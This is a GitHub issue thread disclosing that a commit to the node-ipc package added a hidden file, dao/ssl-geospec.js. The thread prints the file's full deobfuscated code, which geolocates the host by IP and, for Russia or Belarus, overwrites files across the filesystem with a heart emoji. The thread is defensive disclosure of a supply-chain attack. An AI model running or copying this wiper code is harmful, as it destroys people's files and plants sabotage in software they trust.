@RIAEvangelist deleting the original comment, but it does not matter to the fact.

Original post by @Mister-Hope which has been deleted.

@RIAEvangelist
I did some digging into recent commits in this repository.

What the actual f--k are you doing here:

| The following code is malicious, DO NOT RUN IT

https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

| The above code is malicious, DO NOT RUN IT

I deobfuscated the code and found out that if the host machine's ip address was from Russia or Belarus, your code would proceed to nuke their files by overwriting everything:

| The following code is malicious, DO NOT RUN IT

import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return;
    }
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"));
                }
            } catch (t) {}
        });
    });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return;
    }
    let r = [];
    try {
        r = a.readdirSync(n);
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i);
        } catch (t) {
            continue;
        }
        if (t.isDirectory()) {
            const s = h(i, o);
            s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with `❤️`
            } catch (t) {}
        }
    }
    return f;
}
const ssl = true;
export { ssl as default, ssl };

| The above code is malicious, DO NOT RUN IT

The following are excerpts from the malicious code:

Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154

const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus

a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`

You should be ashamed of yourself, this level of gross malice towards fellow developers is not ok.

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Edit: please reference GalvinGao's comment

RIAEvangelist/node-ipc#233 (comment)

hmmm, seems the file has been already deleted (https://github.com/RIAEvangelist/node-ipc/commits/master/dao/ssl-geospec.js) and the version affected v10.1.3 has already been either taken down, or the user has deleted it, from npm, as it is currently already not existed on npm.

Still, the publisher's activity, to my evaluation, is kinda suspicious. Whether the file was introduced intentionally or unintentionally, the security concerns of using this package has already planted.